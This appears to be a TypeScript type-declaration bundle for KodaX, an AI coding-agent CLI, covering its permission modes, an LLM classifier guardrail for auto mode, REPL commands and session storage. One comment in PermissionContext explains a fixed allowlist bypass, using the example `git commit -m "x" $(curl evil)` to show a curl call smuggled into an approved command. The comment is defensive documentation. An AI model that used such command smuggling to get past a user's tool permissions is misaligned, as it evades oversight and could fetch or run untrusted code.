import { l as BashPrefixExtractor, _ as KodaXOptions, H as KodaXContextTokenSnapshot, K as KodaXAgentMode, a3 as KodaXRepoIntelligenceMode, A as AgentsFile, i as AutoModeStats, ae as KodaXSkillInvocationContext, X as KodaXMcpServersConfig } from './bash-prefix-extractor.d-CkhaqKkg.js';
import { a as SessionStorage$1, S as SessionData } from './session-storage.d-Cci897iM.js';
import { u as KodaXSessionStorage, k as KodaXSessionData, w as KodaXSessionUiHistoryItem, o as KodaXSessionLineage, h as KodaXSessionArtifactLedgerEntry, s as KodaXSessionRuntimeInfo } from './types.d-mM8vqvhT.js';
import { m as KodaXMessage, D as KodaXReasoningMode, q as KodaXProviderCapabilityProfile, E as KodaXReasoningOverride, h as KodaXCustomProviderConfig } from './types.d-B1uGoVTE.js';
import * as readline from 'readline';
import { SpawnSyncReturns } from 'child_process';

/**
 * Permission Types
 */

/**
 * Permission mode
 * - plan: Read-only planning, all modifications blocked unless explicitly whitelisted
 * - accept-edits: File edits auto-approved, shell commands require confirmation
 * - auto: All tools auto-approved (with optional LLM classifier review when
 *         auto-mode engine === 'llm'; FEATURE_092 v0.7.33). When engine === 'rules',
 *         falls back to the legacy "all tools approved within project, outside
 *         requires confirmation" behavior — i.e., the v0.7.32 `auto-in-project`
 *         shape. The `auto-in-project` name is preserved as a deprecated alias
 *         for 5 minor versions (removed in v0.7.38).
 */
type PermissionMode = "plan" | "accept-edits" | "auto" | "auto-in-project";
declare const PERMISSION_MODES: PermissionMode[];
/**
 * Status-bar display name for a permission mode. Title-Case short labels
 * (mirrors Claude Code's `shortTitle` convention in
 * `src/utils/permissions/PermissionMode.ts`):
 *   - `plan`             → `Plan`
 *   - `accept-edits`     → `Edits`
 *   - `auto`             → `Auto`
 *   - `auto-in-project`  → `Auto`  (deprecated alias folds into the canonical
 *                                   display name; the deprecation notice
 *                                   surfaces once per session at startup)
 *
 * Single source of truth — both the readline status-bar
 * (`packages/repl/src/interactive/status-bar.ts`) and the Ink view-model
 * (`packages/repl/src/ui/view-models/status-bar.ts`) consume this so the two
 * surfaces never drift on capitalization or short-form choice.
 */
declare function permissionModeDisplayName(mode: PermissionMode): string;
interface ConfirmResult {
    confirmed: boolean;
    always?: boolean;
}
interface PermissionContext {
    permissionMode: PermissionMode;
    confirmTools: Set<string>;
    gitRoot?: string;
    alwaysAllowTools: string[];
    onConfirm?: (tool: string, input: Record<string, unknown>) => Promise<ConfirmResult>;
    saveAlwaysAllowTool?: (tool: string, input: Record<string, unknown>, allowAll?: boolean) => void;
    switchPermissionMode?: (mode: PermissionMode) => void;
    beforeToolExecute?: (tool: string, input: Record<string, unknown>) => Promise<boolean | string>;
    /**
     * FEATURE_153 (v0.7.38) — Optional LLM-backed bash command prefix extractor.
     * When supplied, `isToolCallAllowed` uses it to extract the SAFE PREFIX of
     * a bash command before matching against allowlist patterns like
     * `Bash(git commit:*)`. This eliminates the pre-FEATURE_153 vulnerability
     * where `git commit -m "x" $(curl evil)` matched the allowlist via naive
     * `command.startsWith` semantics.
     *
     * KodaX REPL bootstrap creates this via `createBashPrefixExtractor` from
     * `@kodax-ai/coding` and threads it here. SDK consumers / tests without
     * LLM access can omit it; legacy startsWith semantics apply (documented
     * as insecure in `matchesBashPatternLegacy`).
     */
    bashPrefixExtractor?: BashPrefixExtractor;
}
/**
 * Compute the base confirmation set for each permission mode.
 *
 * Note: `plan` still lists the standard mutating tools here even though most of
 * them are blocked earlier in the permission pipeline via `getPlanModeBlockReason`.
 * This helper only describes the remaining confirmation step for calls that are
 * not hard-blocked.
 */
declare function computeConfirmTools(mode: PermissionMode): Set<string>;
declare function isPermissionMode(value: string | undefined): value is PermissionMode;
declare function normalizePermissionMode(value: string | undefined, fallback?: PermissionMode): PermissionMode | undefined;

/**
 * InkREPL - Ink-based REPL Adapter
 *
 * Bridges Ink UI components with existing KodaX command processing logic.
 * Replaces the Node.js readline-based input with Ink's React components.
 *
 * Architecture based on Gemini CLI:
 * - Uses UIStateContext for global state
 * - Uses KeypressContext for priority-based keyboard handling
 * - Uses StreamingContext for streaming response management
 */

interface InkREPLOptions extends KodaXOptions {
    storage?: SessionStorage$1;
    hardExitOnClose?: boolean;
}
/**
 * Run Ink-based interactive mode
 */
declare function runInkInteractiveMode(options: InkREPLOptions): Promise<void>;

/**
 * KodaX Interactive REPL Mode - 交互式 REPL 模式
 */

interface SessionStorage extends KodaXSessionStorage {
    list(gitRoot?: string): Promise<Array<{
        id: string;
        title: string;
        msgCount: number;
        runtimeInfo?: KodaXSessionData['runtimeInfo'];
    }>>;
}
interface RepLOptions extends KodaXOptions {
    storage?: SessionStorage;
}
declare function runInteractiveMode(options: RepLOptions): Promise<void>;
declare function processSpecialSyntax(input: string): Promise<string>;

/**
 * KodaX Interactive Context Management - 交互式上下文管理
 */

type InteractiveMode = 'code' | 'ask';
interface InteractiveContext {
    messages: KodaXMessage[];
    uiHistory?: KodaXSessionUiHistoryItem[];
    contextTokenSnapshot?: KodaXContextTokenSnapshot;
    lineage?: KodaXSessionLineage;
    artifactLedger?: KodaXSessionArtifactLedgerEntry[];
    sessionId: string;
    title: string;
    gitRoot?: string;
    runtimeInfo?: KodaXSessionRuntimeInfo;
    createdAt: string;
    lastAccessed: string;
}
declare function createInteractiveContext(options: {
    sessionId?: string;
    gitRoot?: string;
    runtimeInfo?: KodaXSessionRuntimeInfo;
    existingMessages?: KodaXMessage[];
    existingUiHistory?: KodaXSessionUiHistoryItem[];
    existingLineage?: KodaXSessionLineage;
    existingArtifactLedger?: KodaXSessionArtifactLedgerEntry[];
}): Promise<InteractiveContext>;
declare function touchContext(context: InteractiveContext): void;

/**
 * UI Context Interface - UI 交互上下文接口
 *
 * 通用 UI 交互接口，可用于：
 * - Command handlers (命令处理器)
 * - Skills execution (技能执行)
 * - LLM tool calls (LLM 工具调用)
 * - Agent workflows (Agent 工作流)
 */
/**
 * UIContext - 通用 UI 交互接口
 *
 * @example
 * ```typescript
 * // Command handler 中使用
 * const selected = await callbacks.ui.select("Choose an option", ["A", "B", "C"]);
 * const confirmed = await callbacks.ui.confirm("Delete all sessions?");
 * const value = await callbacks.ui.input("Enter your name", "John");
 * ```
 */
interface UIContext {
    /**
     * Show a selector and return the user's choice
     * 显示选择对话框，返回用户的选择
     *
     * @param title - Dialog title
     * @param options - List of options to choose from
     * @returns Selected option, or undefined if cancelled
     */
    select(title: string, options: string[]): Promise<string | undefined>;
    /**
     * Show a confirmation dialog
     * 显示确认对话框
     *
     * @param message - Confirmation message
     * @returns true if confirmed, false if declined
     */
    confirm(message: string): Promise<boolean>;
    /**
     * Show a text input dialog
     * 显示文本输入对话框
     *
     * @param prompt - Input prompt
     * @param defaultValue - Optional default value
     * @returns Input value, or undefined if cancelled
     */
    input(prompt: string, defaultValue?: string): Promise<string | undefined>;
}

type CommandSource = 'builtin' | 'extension' | 'skill' | 'prompt';
type CommandPriority = 'critical' | 'high' | 'medium' | 'low';
interface CommandHook {
    matcher?: string;
    command: string;
}
interface CommandHooks {
    SessionStart?: CommandHook[];
    UserPromptSubmit?: CommandHook[];
    PreToolUse?: CommandHook[];
    PostToolUse?: CommandHook[];
    Stop?: CommandHook[];
    SubagentStop?: CommandHook[];
    Notification?: CommandHook[];
}
interface CommandExecutionMetadata {
    disableModelInvocation?: boolean;
    userInvocable?: boolean;
    allowedTools?: string;
    context?: 'fork';
    agent?: string;
    argumentHint?: string;
    model?: string;
    hooks?: CommandHooks;
    frontmatter?: Record<string, unknown>;
}
interface CurrentConfig {
    provider: string;
    model?: string;
    thinking: boolean;
    reasoningMode: KodaXReasoningMode;
    agentMode: KodaXAgentMode;
    permissionMode: PermissionMode;
    repoIntelligenceMode?: KodaXRepoIntelligenceMode;
    repointelEndpoint?: string;
    repointelBin?: string;
    repoIntelligenceTrace?: boolean;
}
type SessionLoadStatus = 'loaded' | 'missing' | 'blocked';
type SessionBranchSwitchStatus = 'switched' | 'missing' | 'blocked';
type SessionForkStatus = 'forked' | 'failed' | 'blocked';
type SessionRewindStatus = 'rewound' | 'failed' | 'blocked';
interface CommandCallbacks {
    exit: () => void | Promise<void>;
    saveSession: () => Promise<void>;
    startNewSession?: () => void;
    loadSession: (id: string) => Promise<SessionLoadStatus>;
    listSessions: () => Promise<void>;
    clearHistory: () => void;
    printHistory: () => void;
    switchProvider?: (provider: string, model?: string) => void;
    setThinking?: (enabled: boolean) => void;
    setReasoningMode?: (mode: KodaXReasoningMode) => void;
    setAgentMode?: (mode: KodaXAgentMode) => void;
    setPermissionMode?: (mode: PermissionMode) => void;
    setRepoIntelligenceRuntime?: (update: {
        mode?: KodaXRepoIntelligenceMode;
        endpoint?: string | null;
        bin?: string | null;
        trace?: boolean;
    }) => void;
    deleteSession?: (id: string) => Promise<void>;
    deleteAllSessions?: () => Promise<void>;
    createKodaXOptions?: () => KodaXOptions;
    reloadAgentsFiles?: () => Promise<AgentsFile[]>;
    confirm?: (message: string) => Promise<boolean>;
    readline?: readline.Interface;
    startCompacting?: () => void;
    stopCompacting?: () => void;
    /**
     * Fired by `/compact` after a successful manual compaction so the UI
     * layer can update its live token count (mirrors the agent-runtime
     * `onCompactStats` for auto-compaction). Without this, the status bar
     * keeps showing the pre-compact `liveTokenCount` because that field
     * outranks `context.contextTokenSnapshot` in the cascade.
     */
    onCompactStats?: (info: {
        tokensBefore: number;
        tokensAfter: number;
    }) => void;
    printSessionTree?: () => Promise<void>;
    switchSessionBranch?: (selector: string) => Promise<SessionBranchSwitchStatus>;
    labelSessionBranch?: (selector: string, label?: string) => Promise<boolean>;
    forkSession?: (selector?: string) => Promise<SessionForkStatus>;
    rewindSession?: (selector?: string) => Promise<SessionRewindStatus>;
    getCostReport?: () => string | null;
    /**
     * FEATURE_092 phase 2b.8: read-only stats accessor for the auto-mode
     * classifier guardrail. Returns undefined when the guardrail hasn't been
     * constructed yet (REPL never entered auto mode this session). The
     * returned snapshot is a copy of references — caller cannot mutate
     * guardrail state through it. Used by `/auto-engine` (show), `/auto-denials`,
     * and the status bar engine indicator.
     */
    getAutoModeStats?: () => AutoModeStats | undefined;
    /**
     * FEATURE_092 phase 2b.8: manual engine setter for `/auto-engine llm|rules`.
     * No-op when the guardrail hasn't been constructed yet. Threshold downgrades
     * still operate normally — a subsequent denial cross will downgrade again.
     */
    setAutoModeEngine?: (engine: 'llm' | 'rules') => void;
    ui: UIContext;
}
interface CommandResultData {
    success?: boolean;
    message?: string;
    data?: unknown;
    skillContent?: string;
    invocation?: CommandInvocationRequest;
}
interface CommandInvocationRequest extends CommandExecutionMetadata {
    prompt: string;
    source: 'skill' | 'prompt' | 'extension';
    displayName: string;
    path?: string;
    skillInvocation?: KodaXSkillInvocationContext;
}
type CommandResult$1 = boolean | CommandResultData;
type CommandHandler = (args: string[], context: InteractiveContext, callbacks: CommandCallbacks, currentConfig: CurrentConfig) => Promise<CommandResult$1 | void>;
/**
 * Legacy command shape used by the existing REPL command table.
 */
interface Command$1 {
    name: string;
    aliases?: string[];
    description: string;
    usage?: string;
    handler: CommandHandler;
    detailedHelp?: () => void;
    source?: CommandSource;
    priority?: CommandPriority;
    location?: 'user' | 'project' | 'path';
    path?: string;
    userInvocable?: boolean;
    disableModelInvocation?: boolean;
    allowedTools?: string;
    context?: 'fork';
    agent?: string;
    argumentHint?: string;
    model?: string;
    hooks?: CommandHooks;
    frontmatter?: Record<string, unknown>;
}

/**
 * KodaX Interactive Command System
 */

type Command = Command$1;
declare const BUILTIN_COMMANDS: Command[];
declare function parseCommand(input: string): {
    command: string;
    args: string[];
    skillInvocation?: {
        name: string;
    };
} | null;
type CommandResult = boolean | {
    skillContent?: string;
    invocation?: CommandInvocationRequest;
};
declare function executeCommand(parsed: {
    command: string;
    args: string[];
    skillInvocation?: {
        name: string;
    };
}, context: InteractiveContext, callbacks: CommandCallbacks, currentConfig: CurrentConfig): Promise<CommandResult>;

/**
 * KodaX CLI Utilities
 * CLI 层工具函数
 */

/**
 * CLI config directory paths — top-level constants frozen at module-load time.
 *
 * **LOAD-TIME FREEZE WARNING (v0.7.35.1 FEATURE_145)** — these constants
 * are computed ONCE when this module is first imported, by reading
 * `getAgentConfigHome()` (which itself reads `KODAX_HOME` env var and
 * the programmatic override at that single moment). Subsequent calls to
 * `setAgentConfigHome()` have NO effect on these constants. This
 * matches the prior v0.7.35 behavior where they were inlined as
 * `path.join(os.homedir(), '.kodax')` — same load-time semantics, just
 * routed through the resolver so that `KODAX_HOME` env is now honored.
 *
 * **For substrate consumers**: if you intend to redirect the agent
 * config home via `setAgentConfigHome()`, you MUST call it BEFORE
 * importing any module that transitively imports `@kodax-ai/repl`'s
 * `utils.ts`. Common downstream consumers that capture these constants
 * include:
 *   - `repl/interactive/storage.ts` → `KODAX_SESSIONS_DIR` (session
 *     persistence; silent corruption risk if override is set late)
 *   - the SDK's `repl/index.ts` re-exports
 *   - root `src/index.ts` re-exports
 *
 * **For env-var users**: setting `KODAX_HOME=/path` before launching
 * the kodax CLI works as expected — the env var is read at first
 * import.
 *
 * **For per-call resolution**: use `getAgentConfigHome()` /
 * `getAgentConfigPath(...)` directly from `@kodax-ai/agent` instead of
 * these constants — those resolve at call time and honor late
 * `setAgentConfigHome()` calls.
 */
declare const KODAX_DIR: string;
declare const KODAX_SESSIONS_DIR: string;
declare const KODAX_CONFIG_FILE: string;
declare const PREVIEW_MAX_LENGTH = 60;
type ShellEnvRunner = (command: string, args: string[], options: {
    encoding: 'utf8';
    env: NodeJS.ProcessEnv;
    maxBuffer: number;
    timeout: number;
    windowsHide: boolean;
    detached: boolean;
    stdio: ['ignore', 'pipe', 'pipe'];
}) => SpawnSyncReturns<string>;
declare function hydrateProcessEnvFromShell(options?: {
    env?: NodeJS.ProcessEnv;
    platform?: NodeJS.Platform;
    run?: ShellEnvRunner;
    shell?: string;
}): boolean;
declare function registerConfiguredCustomProviders(config: {
    customProviders?: KodaXCustomProviderConfig[];
}): void;
declare function getVersion(): string;
declare const KODAX_VERSION: string;
declare function getProviderModel(name: string): string | null;
declare function getProviderList(providerModelsConfig?: Record<string, string[]>): Array<{
    name: string;
    model: string;
    models: string[];
    configured: boolean;
    reasoningCapability: string;
    capabilityProfile: KodaXProviderCapabilityProfile;
    custom?: boolean;
}>;
declare function isProviderConfigured(name: string): boolean;
declare function loadConfig(): {
    provider?: string;
    model?: string;
    thinking?: boolean;
    reasoningMode?: KodaXReasoningMode;
    /**
     * FEATURE_078 (v0.7.29): preferred name for `reasoningMode`. Both
     * fields map to the same runtime L1 user-ceiling semantic; when both
     * are present `reasoningCeiling` wins. Prefer this name in new
     * configs — `reasoningMode` is kept accepted for backward
     * compatibility and never auto-renamed (no user-visible churn).
     */
    reasoningCeiling?: KodaXReasoningMode;
    agentMode?: KodaXAgentMode;
    permissionMode?: string;
    locale?: string;
    providerReasoningOverrides?: Record<string, KodaXReasoningOverride>;
    providerModels?: Record<string, string[]>;
    customProviders?: KodaXCustomProviderConfig[];
    extensions?: string[];
    mcpServers?: KodaXMcpServersConfig;
    repoIntelligenceMode?: 'auto' | 'off' | 'oss' | 'premium-shared' | 'premium-native';
    repointelEndpoint?: string;
    repointelBin?: string;
    repoIntelligenceTrace?: boolean;
    streamIdleTimeoutMs?: number;
};
declare function prepareRuntimeConfig(): ReturnType<typeof loadConfig>;
declare function saveConfig(config: {
    provider?: string;
    model?: string;
    thinking?: boolean;
    reasoningMode?: KodaXReasoningMode;
    agentMode?: KodaXAgentMode;
    permissionMode?: string;
    locale?: string;
    providerReasoningOverrides?: Record<string, KodaXReasoningOverride>;
    providerModels?: Record<string, string[]>;
    customProviders?: KodaXCustomProviderConfig[];
    extensions?: string[];
    mcpServers?: KodaXMcpServersConfig;
    repoIntelligenceMode?: 'auto' | 'off' | 'oss' | 'premium-shared' | 'premium-native';
    repointelEndpoint?: string;
    repointelBin?: string;
    repoIntelligenceTrace?: boolean;
}): void;
declare function getGitRoot(): Promise<string | null>;
declare function rateLimitedCall<T>(fn: () => Promise<T>): Promise<T>;

/**
 * KodaX session storage - filesystem implementation.
 */

declare class FileSessionStorage implements KodaXSessionStorage {
    private writeQueues;
    private serializedWrite;
    private appendState;
    /** Update watermarks. Only overwrites fields the caller actually provided. */
    private syncAppendState;
    private getSessionFilePath;
    private getArchiveFilePath;
    private readSession;
    private writeSessionInternal;
    private mergeAndWriteInternal;
    appendSessionDelta(id: string, data: SessionData): Promise<void>;
    private shouldRunMaintenance;
    private runMaintenance;
    save(id: string, data: SessionData): Promise<void>;
    load(id: string): Promise<SessionData | null>;
    getLineage(id: string): Promise<KodaXSessionLineage | null>;
    setActiveEntry(id: string, selector: string, options?: {
        summarizeCurrentBranch?: boolean;
    }): Promise<SessionData | null>;
    rewind(id: string, selector?: string): Promise<SessionData | null>;
    setLabel(id: string, selector: string, label?: string): Promise<SessionData | null>;
    fork(id: string, selector?: string, options?: {
        sessionId?: string;
        title?: string;
    }): Promise<{
        sessionId: string;
        data: SessionData;
    } | null>;
    list(gitRoot?: string): Promise<Array<{
        id: string;
        title: string;
        msgCount: number;
        runtimeInfo?: KodaXSessionRuntimeInfo;
    }>>;
    delete(id: string): Promise<void>;
    deleteAll(gitRoot?: string): Promise<void>;
}

export { processSpecialSyntax as A, BUILTIN_COMMANDS as B, rateLimitedCall as D, registerConfiguredCustomProviders as E, FileSessionStorage as F, runInkInteractiveMode as G, runInteractiveMode as H, saveConfig as J, KODAX_CONFIG_FILE as K, touchContext as L, PERMISSION_MODES as P, KODAX_DIR as f, KODAX_SESSIONS_DIR as g, KODAX_VERSION as h, PREVIEW_MAX_LENGTH as i, computeConfirmTools as l, createInteractiveContext as m, executeCommand as n, getGitRoot as o, getProviderList as p, getProviderModel as q, getVersion as r, hydrateProcessEnvFromShell as s, isPermissionMode as t, isProviderConfigured as u, loadConfig as v, normalizePermissionMode as w, parseCommand as x, permissionModeDisplayName as y, prepareRuntimeConfig as z };
export type { Command as C, InkREPLOptions as I, RepLOptions as R, CommandCallbacks as a, ConfirmResult as b, CurrentConfig as c, InteractiveContext as d, InteractiveMode as e, PermissionContext as j, PermissionMode as k };
